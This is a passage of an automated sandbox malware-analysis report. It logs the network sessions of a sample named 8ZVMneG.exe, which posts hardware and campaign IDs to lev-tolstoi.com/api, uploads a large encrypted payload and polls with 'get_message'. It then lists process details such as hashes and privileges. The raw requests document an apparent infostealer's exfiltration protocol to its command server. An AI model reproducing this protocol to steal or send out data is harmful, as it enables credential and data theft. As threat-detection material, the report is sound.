2024-12-20 06:04:24 UTC	15331	OUT	Data Raw: 2d 2d 49 43 51 39 4a 34 53 55 4d 4b 30 57 37 56 45 42 47 55 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 45 33 39 46 43 46 42 44 38 33 43 43 45 34 41 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 49 43 51 39 4a 34 53 55 4d 4b 30 57 37 56 45 42 47 55 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 49 43 51 39 4a 34 53 55 4d 4b 30 57 37 56 45 42 47 55 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 6e 62 Data Ascii: --ICQ9J4SUMK0W7VEBGUYContent-Disposition: form-data; name="hwid"DE39FCFBD83CCE4A00D57F9DDD37BE0C--ICQ9J4SUMK0W7VEBGUYContent-Disposition: form-data; name="pid"3--ICQ9J4SUMK0W7VEBGUYContent-Disposition: form-data; name="lid"LPnhqo--nb
2024-12-20 06:04:24 UTC	4645	OUT	Data Raw: 66 a5 31 16 55 bb 32 f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 Data Ascii: f1U2+?2+?2+?o?Mp5
2024-12-20 06:04:25 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:04:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vud0evm3o4tirshmk09nas09m0; expires=Mon, 14 Apr 2025 23:51:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W3q9aNEuLvTl13XpqTwTjlcsO2BV%2F9jRacfGMhRTbKU7aX3f2iAG1Uo5lediT5aC%2BFUMz8AQaqkLbwJh3LYZskN7bOmC92F7uaF7MXytemxbtd9cr1maZMB8cBJ3ZSMGgLo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d6f4f49546a55-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2341&min_rtt=2333&rtt_var=892&sent=15&recv=24&lost=0&retrans=0&sent_bytes=2835&recv_bytes=20938&delivery_rate=1215147&cwnd=235&unsent_bytes=0&cid=8c13936f6ced037e&ts=981&x=0"
2024-12-20 06:04:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 06:04:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49765	104.21.66.86	443	2144	C:\Users\user\Desktop\8ZVMneG.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:04:27 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1NBWOHGWMH0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1184 Host: lev-tolstoi.com
2024-12-20 06:04:27 UTC	1184	OUT	Data Raw: 2d 2d 31 4e 42 57 4f 48 47 57 4d 48 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 45 33 39 46 43 46 42 44 38 33 43 43 45 34 41 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 31 4e 42 57 4f 48 47 57 4d 48 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 31 4e 42 57 4f 48 47 57 4d 48 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 6e 62 67 6e 78 64 6c 78 64 6e 79 6f 0d 0a 2d 2d 31 4e 42 57 4f 48 47 57 4d 48 Data Ascii: --1NBWOHGWMH0Content-Disposition: form-data; name="hwid"DE39FCFBD83CCE4A00D57F9DDD37BE0C--1NBWOHGWMH0Content-Disposition: form-data; name="pid"1--1NBWOHGWMH0Content-Disposition: form-data; name="lid"LPnhqo--nbgnxdlxdnyo--1NBWOHGWMH
2024-12-20 06:04:27 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:04:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kfr0042hj5ngk03qg3svvooihc; expires=Mon, 14 Apr 2025 23:51:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kBWYzB%2B7Lwli9W47yxWPoNOh04rRNcfLGRXYtNheV7E8A%2FLSzYbQaUzcoBtAbpScmUV%2Bwn0anzT0jFvqqPAPvGi2aTaarawX0ogrxLQS14i0kkzd%2FRs9AItKUtlKMm%2B7U8Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d6f5f3ae342ea-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1577&min_rtt=1572&rtt_var=599&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=2093&delivery_rate=1811414&cwnd=143&unsent_bytes=0&cid=aa510be4f3d66b47&ts=774&x=0"
2024-12-20 06:04:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 06:04:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49771	104.21.66.86	443	2144	C:\Users\user\Desktop\8ZVMneG.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:04:29 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6DZ4WE0ATJK8ZM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 587856 Host: lev-tolstoi.com
2024-12-20 06:04:29 UTC	15331	OUT	Data Raw: 2d 2d 36 44 5a 34 57 45 30 41 54 4a 4b 38 5a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 45 33 39 46 43 46 42 44 38 33 43 43 45 34 41 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 36 44 5a 34 57 45 30 41 54 4a 4b 38 5a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 44 5a 34 57 45 30 41 54 4a 4b 38 5a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 6e 62 67 6e 78 64 6c 78 64 6e 79 6f 0d 0a 2d 2d 36 Data Ascii: --6DZ4WE0ATJK8ZMContent-Disposition: form-data; name="hwid"DE39FCFBD83CCE4A00D57F9DDD37BE0C--6DZ4WE0ATJK8ZMContent-Disposition: form-data; name="pid"1--6DZ4WE0ATJK8ZMContent-Disposition: form-data; name="lid"LPnhqo--nbgnxdlxdnyo--6
2024-12-20 06:04:29 UTC	15331	OUT	Data Raw: 9a 92 74 2a 3b 98 06 54 14 79 04 c5 e4 a6 97 97 a4 5b 91 54 cf 5a 44 b0 77 a7 17 1b 1f 3e 54 44 b9 bf 77 f7 ed 8b a4 cb b5 27 68 c9 30 7f b1 40 97 d2 bf de 2f ce 52 4c 03 d5 7f 7b 28 34 0c 39 1f 5b ec 1c 71 7d 1a ed 9b e8 4e 0f 5f d7 2e e9 60 2d c6 03 dd 8c d1 dc 65 0e 01 07 ad 10 50 ae 82 94 28 13 7d f7 a1 47 1e 7a 2d a5 dd b5 66 f8 4c 14 d9 be 2b 67 c9 01 45 9e 47 75 c7 2b d3 1c 45 fb 92 b4 78 5c 0b 4d 46 2c 8a e3 59 5f a7 c7 c5 3d 72 94 b4 62 03 60 5f 1f 54 e3 86 59 36 5e 75 20 3f 35 55 8d b3 72 61 38 1c 73 97 7b 57 cf e9 34 3f 14 77 ff bc b9 3b ea 56 52 ab 24 ba 97 a0 32 14 89 54 65 ae c1 aa 9b 05 20 f9 7f 5f 78 c0 f8 66 26 a6 ce b7 93 b7 8b 91 65 18 04 65 57 72 86 06 ee 32 9a 2a 32 0f 62 e0 c5 da d2 9e 5a ea 82 b7 f7 d6 07 29 3f 58 40 e9 f9 35 39 c7 Data Ascii: t;Ty[TZDw>TDw'h0@/RL{(49[q}N_.`-eP(}Gz-fL+gEGu+Ex\MF,Y_=rb`_TY6^u ?5Ura8s{W4?w;VR$2Te _xf&eeWr22bZ)?X@59
2024-12-20 06:04:29 UTC	15331	OUT	Data Raw: 2f 6a 52 0a b0 5a c7 43 c6 6e 9c 9a 86 50 e0 28 23 bf 08 03 e7 48 37 9b e8 25 b1 bf 8d b5 a6 29 37 64 29 2d 93 78 5f 48 21 39 55 f5 7a 10 9f b7 fe 03 63 fd 79 14 a2 95 7d ae 67 c8 1a db 73 0b f5 cf b4 94 8d e4 c7 69 98 68 55 60 be 8e 37 cb 09 c0 d8 e1 73 bc b0 bd 55 54 c9 5f 48 7f 3d 63 28 eb fe 52 f6 f5 32 52 42 97 e5 86 22 b8 ff 6c 1e 29 dd 00 b3 00 f2 3d d5 2a 07 21 09 d0 3c ee fd 92 93 ee 87 4e e3 e3 1a c4 c1 bc e2 6a 7c 8f 08 e1 ab a0 b8 5d 3c cf d4 ea 24 29 1d 90 b1 b1 88 3e af 21 8d 2c 60 fb fa 7d c2 e2 de 53 dd ac f6 61 74 d7 1d 71 6f ee 6d fa b6 2b 44 48 16 01 0f 03 c3 8f d9 60 1a dd 28 b0 51 3c bf 51 6d 61 87 61 a3 be 12 66 4c e7 84 56 bc be c2 ed e5 d1 c9 64 dd 91 c0 07 83 81 e7 ef fe b9 b4 6b cb 3d a3 95 cd d7 02 a7 02 eb b7 27 95 87 95 23 96 Data Ascii: /jRZCnP(#H7%)7d)-x_H!9Uzcy}gsihU`7sUT_H=c(R2RB"l)=*!<Nj\|]<$)>!,`}Satqom+DH`(Q<QmaafLVdk='#
2024-12-20 06:04:29 UTC	15331	OUT	Data Raw: 13 d7 db 5d bd 57 5c ad d3 1e 65 e6 ad 7a 4d 0d 0c 9f 2f 7d 06 57 d1 cd 03 b3 c6 c9 1c 63 6f 81 e4 11 db ea 85 53 31 ec fd 3b a1 61 7b b8 aa b0 10 17 05 c5 8c 47 ba c0 a5 1d 0e d8 c9 17 bc be 47 33 bf 90 1a 7f 6b 03 22 8c ed 2e 09 de 60 26 07 03 0e 24 9c d0 fd 23 f4 cf e8 9a ef 04 88 e3 38 bd f2 05 a2 00 ae fb fe 84 22 0c 8c 7c 36 05 c4 5e 1f d3 d3 41 5f 60 e4 d8 33 13 01 6b 4b 59 c1 a5 fb 47 ff 09 29 06 f6 e7 a7 8b 07 b3 8e 64 29 74 6b 80 e3 0f 9b 57 02 ca 56 e5 b3 ca 8e 10 07 6a 67 96 26 be e8 03 2c a5 9e fb 82 a7 d9 b5 c6 7c 8c d5 b8 d4 f8 bb ac 3d a5 e1 45 be e5 75 08 94 d2 4a e4 4f 73 32 d1 d4 b1 d1 d0 f7 2a 09 a7 9b 9b 48 8c ae e0 8f 30 62 6d 80 53 e2 8a 43 9b 22 3b 16 46 1d 41 86 87 42 13 04 0b a1 5a 77 33 6a b8 30 58 3b 44 a9 f8 7c 50 1b be 73 05 Data Ascii: ]W\ezM/}WcoS1;a{GG3k".`&$#8"\|6^A_`3kKYG)d)tkWVjg&,\|=EuJOs2*H0bmSC";FABZw3j0X;D\|Ps
2024-12-20 06:04:29 UTC	15331	OUT	Data Raw: c7 c3 15 5d 9a ef c7 2f 51 db 71 86 17 c0 f7 a5 2c 42 47 dd 71 fa a5 d6 f0 40 3b 34 e6 ed 97 7e db 61 92 bf 71 46 1b 6f aa 2c e8 53 3a 9a 7a 0a 68 94 66 29 80 82 cc 17 a1 91 a8 97 69 39 2c a6 57 55 36 ee ed 1b 08 2b c3 0e 2e f1 54 4e 44 ba cd b7 35 f3 f7 6e dc 08 9e 70 dd 25 d9 77 cc a0 c0 ec 00 ee b5 02 01 f7 0e db 61 a2 8b 00 b0 96 6d 5e 60 f6 47 21 12 4e 4e a3 d6 7a 02 da 05 44 c4 8d 0c af be 15 9a 15 20 da 26 15 58 83 02 7b 57 a2 52 c6 55 32 d5 10 d7 a7 02 72 8f c8 14 ec 02 76 27 d2 08 a6 70 aa 09 99 90 dd 8b f1 aa f9 41 58 ed 8e 53 24 8a 0b f2 f1 5d 42 91 87 23 a8 4e 53 5c 93 9f 64 69 f1 5a e2 be d0 32 03 8c ae ff ad 37 47 b0 76 dc 3a 7e 93 cb 20 25 cb e4 27 78 8b 41 f0 02 3f 1e e2 b3 20 32 1f 1b 20 d4 b0 eb 67 89 67 27 de b8 1e e1 5b 58 61 c5 29 79 Data Ascii: ]/Qq,BGq@;4~aqFo,S:zhf)i9,WU6+.TND5np%wam^`G!NNzD &X{WRU2rv'pAXS$]B#NS\diZ27Gv:~ %'xA? 2 gg'[Xa)y
2024-12-20 06:04:29 UTC	15331	OUT	Data Raw: 68 28 82 af 7c 9e 49 6c 8c 96 89 e7 09 d3 e9 94 9a 93 fb 7d 27 7b 15 8b 5f 15 09 4e f9 a0 b9 c6 b8 be 95 04 f0 f6 c6 fb ee d3 ca dd 2d a7 82 53 00 48 90 95 19 bb 38 9b 56 8c ef 0b ca 76 b5 1a e3 39 a4 d5 e4 17 c0 52 e2 93 79 b8 af 40 8b 73 53 27 19 65 e0 05 4a b7 1b 5d 67 cf 9d 61 36 ac 1d b4 f3 bc 6b 8c df 1c 7f 5f f4 a1 ba 13 72 47 34 0f 7a 78 2b ba 3d f1 3e 99 4e c2 cf e7 af 0e 57 54 ba b6 9a 1c 0b a7 8e fb ad 6c fe 7d fc 60 5c 85 6c 06 07 dc 67 30 d3 eb d3 d7 33 2b ec 34 c0 d2 23 5e 90 3f d8 ad ad be 56 cb df a5 3b bf d6 fc 4a d0 3c 74 b0 67 b2 99 1a b0 f9 9b 8d a6 e7 0f 6a 62 21 46 e2 45 66 90 f9 f6 de c2 7b f9 43 1b 15 e3 d1 da 54 e1 aa 35 66 72 2a 2f 01 cc 57 99 ab c5 0f 0e f9 3f c0 c1 cd 58 e6 2e c0 10 7f e9 28 09 98 25 1d d8 e0 0b 7c 80 26 89 a6 Data Ascii: h(\|Il}'{_N-SH8Vv9Ry@sS'eJ]ga6k_rG4zx+=>NWTl}`\lg03+4#^?V;J<tgjb!FEf{CT5fr*/W?X.(%\|&
2024-12-20 06:04:29 UTC	15331	OUT	Data Raw: be f2 95 2c d7 47 ab 3f 62 68 e0 1d b2 57 7e fa 47 df e4 61 14 ec c2 34 7f 5c 02 e6 2c b7 1b 84 3a 9d 95 25 22 de 74 c1 76 f3 9e 76 00 46 8d ab 27 04 40 6a f4 fc 5d 0d 69 20 a6 0b 4c 41 6b 39 f0 10 37 1a 7e 44 af de db 77 91 2e 06 02 51 9c fe 30 3a 0a 48 dc c1 8d fd e0 59 f6 83 b0 ec 5f 10 43 84 fd 2c 3e 7f ff 42 d2 f8 f6 11 32 88 5e 99 9d 8f 85 cb e5 6e a0 ec 80 bb 6c 98 18 b0 cb ce 2a 68 6d c6 5f 8a 8c 2f c7 7a 9d 7c da e6 a8 3f 67 39 52 1d 73 73 92 a7 43 12 96 12 da 23 f2 a7 37 85 a9 41 d8 2c d9 6e d3 99 21 27 8a 8a 84 c3 3d d1 e7 01 1e 62 9f 96 c2 72 11 0c 00 6d e8 30 2a f7 20 45 f4 55 b5 9f 65 c4 ae 11 ae 8e 27 ce b1 e1 98 68 1e 81 bb 7f be 1b fd d1 6d c6 fe e1 23 f7 4d 7b a4 22 11 f3 2c 17 cf 9d 9c 96 27 11 88 c6 c6 c2 3c 58 d3 36 ca 39 7e fe f2 85 Data Ascii: ,G?bhW~Ga4\,:%"tvvF'@j]i LAk97~Dw.Q0:HY_C,>B2^nlhm_/z\|?g9RssC#7A,n!'=brm0 EUe'hm#M{",'<X69~
2024-12-20 06:04:29 UTC	15331	OUT	Data Raw: d4 7d a2 39 cf 94 97 4e ef 12 26 33 1c 22 83 51 9b 60 e3 da 52 e7 c6 ab f7 dc 5b 2b e3 60 5a 14 d8 5d d8 de a9 8c f8 83 ff a1 e1 b3 f9 80 e0 93 cf 07 de ef 41 23 ee 09 48 99 04 05 b2 f8 69 6e 90 76 21 86 fa 0a 82 2b e5 d4 40 77 c2 19 50 90 da ab 09 05 1d 52 2c 10 05 7f e4 fa e4 4e fa b8 0f 3b ef 07 8d 9b db fd d3 7a f1 29 67 78 e6 df d9 cd 2c c0 56 17 e9 ef f1 5c d8 e9 ab cb 36 99 ce 3c a8 de 6c f5 9a 74 51 d9 28 10 4e 88 94 4d 8d bc c7 b5 a3 e3 e8 27 e7 7d 93 12 7c 79 86 bc 2b fe 6f 89 88 c7 4f 3f 5b fc 54 80 fc 24 b2 95 ff 18 f1 18 38 86 a8 44 a7 bf 19 a1 bc 3f 68 07 77 ca 30 64 67 77 a0 ae 9d 8e 47 91 78 34 50 17 44 6a c7 ac fd d0 e7 66 00 d1 45 1e a1 9c 6b 3a 6a 84 ae 18 b8 94 fc fa c9 53 56 d6 6e 85 49 3e cc 16 7a de ba 31 4b 3d 89 9c 34 26 c6 d5 99 Data Ascii: }9N&3"Q`R[+`Z]A#Hinv!+@wPR,N;z)gx,V\6<ltQ(NM'}\|y+oO?[T$8D?hw0dgwGx4PDjfEk:jSVnI>z1K=4&
2024-12-20 06:04:29 UTC	15331	OUT	Data Raw: 5f 6e 60 ab fd 34 4c 6a 1f 5c 0a 37 2c 14 f0 b8 b7 10 0b 98 d8 a1 6f 2f ca 94 35 12 af af 16 50 12 60 aa b5 d1 89 30 9d 3e b4 a2 c6 00 b4 8c 3b 34 01 d0 ec 24 37 b6 2e 7f f7 5e 77 68 d2 f2 78 5c 7e 8e 5d ca 95 cf c5 cb 82 21 ad 93 a3 e1 27 17 1e bf db 8d 28 6b a9 bf 34 fa f9 56 ab e0 4b d4 e5 82 9b 0b ab 8b 64 22 72 e1 7f 8f 5a 96 21 17 9d fb b6 18 cd 72 47 c6 be 13 3e 5f fe 9c cd d3 7a 33 9a 93 f0 9d bd 31 9a 48 5b 51 64 ec 60 29 78 10 87 c7 26 67 29 c1 1f 54 18 ec 5f dc 38 74 5a 14 9c aa 26 66 9e b9 67 c2 f3 94 63 fd d0 94 17 9c 4c 3d 98 97 c3 b7 d0 b6 e8 e6 48 7d b3 55 12 3d bf fa 8a c0 9b 2c 7e e3 db 75 98 19 ad ee b1 e7 d5 c8 fb 2a 5b 44 f6 61 3b 0d ee 2f eb 30 aa 2a f8 a0 d3 a5 87 44 e2 62 d5 aa b9 26 ec 98 36 95 a3 df 5f be f5 b9 75 e1 40 50 c6 ab Data Ascii: _n`4Lj\7,o/5P`0>;4$7.^whx\~]!'(k4VKd"rZ!rG>_z31H[Qd`)x&g)T_8tZ&fgcL=H}U=,~u[Da;/0Db&6_u@P
2024-12-20 06:04:29 UTC	15331	OUT	Data Raw: ad 26 81 a6 c5 9b 62 03 ed 2f 61 23 a0 8d 40 0c cb e0 28 fa f6 77 54 3a 6f 2c ec 57 53 7a a2 90 0f cc e0 a0 32 aa 1d c5 7e 9c 8d f7 bb 66 5e 7f 71 db ff e4 85 e0 f3 57 da ec d5 b4 16 df 57 cd 42 97 ec ce 62 8d d2 0d 0a cf 95 0a 3f 98 2a 5b 35 78 ab 69 6b 2b ce 92 d5 dc c7 54 4a 77 bd 76 4a bb 4d ca e1 bc 14 9f 29 29 30 68 b9 2d 31 c6 e1 c3 9e 68 ba cf f2 ae f0 a0 77 0b 5b 10 f6 2a 3b 46 8b 66 2c 7a bf b6 68 e9 55 ba f9 b1 a1 41 74 eb b4 1c e2 5c 24 75 95 77 60 45 8a 32 8e a3 a5 1a 17 6d 16 e7 6e 14 7c 0b 48 a1 e8 73 ee bf 68 f6 c8 97 7b fe 3e 65 eb 36 3b 67 f4 43 b9 28 d7 eb 76 b9 4d 9d b4 f5 59 1b b3 f7 f4 9b a5 f3 b7 9b df bd 7a 1b 3a fd 28 a7 7d 25 44 70 91 d9 96 b5 df 32 57 4a a1 e2 8a 10 b9 dc 46 9c fb 06 71 64 fe d5 cb 29 b7 4f d6 b3 2b 12 e5 2b c9 Data Ascii: &b/a#@(wT:o,WSz2~f^qWWBb?[5xik+TJwvJM))0h-1hw[;Ff,zhUAt\$uw`E2mn\|Hsh{>e6;gC(vMYz:(}%Dp2WJFqd)O++
2024-12-20 06:04:31 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:04:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tpqia02tbr59fub1pk8se6ieij; expires=Mon, 14 Apr 2025 23:51:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1GE8XO2lSe8DEEgO2HUZvyZY67QjyFvjib7hIPyxegWFDU7HykK9RpUVUgYBGi1GUF6zxN0xNkiNIcd2sSCE9yWRZ2e06h4QV20waP6Z%2BWRuzTJfuTW92uJ5fnSxh3wRKYg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d6f6e6d967c93-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1816&min_rtt=1814&rtt_var=686&sent=327&recv=609&lost=0&retrans=0&sent_bytes=2835&recv_bytes=590442&delivery_rate=1589548&cwnd=210&unsent_bytes=0&cid=61ed7bf4d9388229&ts=2308&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49781	104.21.66.86	443	2144	C:\Users\user\Desktop\8ZVMneG.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:04:33 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 89 Host: lev-tolstoi.com
2024-12-20 06:04:33 UTC	89	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 6e 62 67 6e 78 64 6c 78 64 6e 79 6f 26 6a 3d 26 68 77 69 64 3d 44 45 33 39 46 43 46 42 44 38 33 43 43 45 34 41 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 Data Ascii: act=get_message&ver=4.0&lid=LPnhqo--nbgnxdlxdnyo&j=&hwid=DE39FCFBD83CCE4A00D57F9DDD37BE0C
2024-12-20 06:04:33 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:04:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b265fsuggjdiha7mkkqiit2s0e; expires=Mon, 14 Apr 2025 23:51:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J3Dfl93MSktTJpW%2FJt76%2B0iNWqKSmKlmqvArjB4HAthNjySyj2R2r%2BGT7OX8r7cjo%2FiNjorD21zy3i1Vecx7HepEgxLUsgyPLbtTKDIyE5qH8k7L%2FXlWnuEwr%2BLnp7MTRnc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d6f854a3b1a07-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1800&min_rtt=1789&rtt_var=694&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=988&delivery_rate=1551540&cwnd=245&unsent_bytes=0&cid=24e457c5df2803ba&ts=774&x=0"
2024-12-20 06:04:33 UTC	54	IN	Data Raw: 33 30 0d 0a 36 46 56 76 36 64 46 33 6a 79 62 6e 6b 58 32 75 45 44 6f 33 6a 65 69 48 79 4b 64 49 73 39 42 42 6c 4c 35 39 75 35 6c 33 53 57 4f 7a 43 41 3d 3d 0d 0a Data Ascii: 306FVv6dF3jybnkX2uEDo3jeiHyKdIs9BBlL59u5l3SWOzCA==
2024-12-20 06:04:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	01:03:56
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\8ZVMneG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\8ZVMneG.exe"
Imagebase:	0xec0000
File size:	810'496 bytes
MD5 hash:	E8AF4D0D0B47AC68D762B7F288AE8E6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:03:56
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:04:00
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\8ZVMneG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\8ZVMneG.exe"
Imagebase:	0xec0000
File size:	810'496 bytes
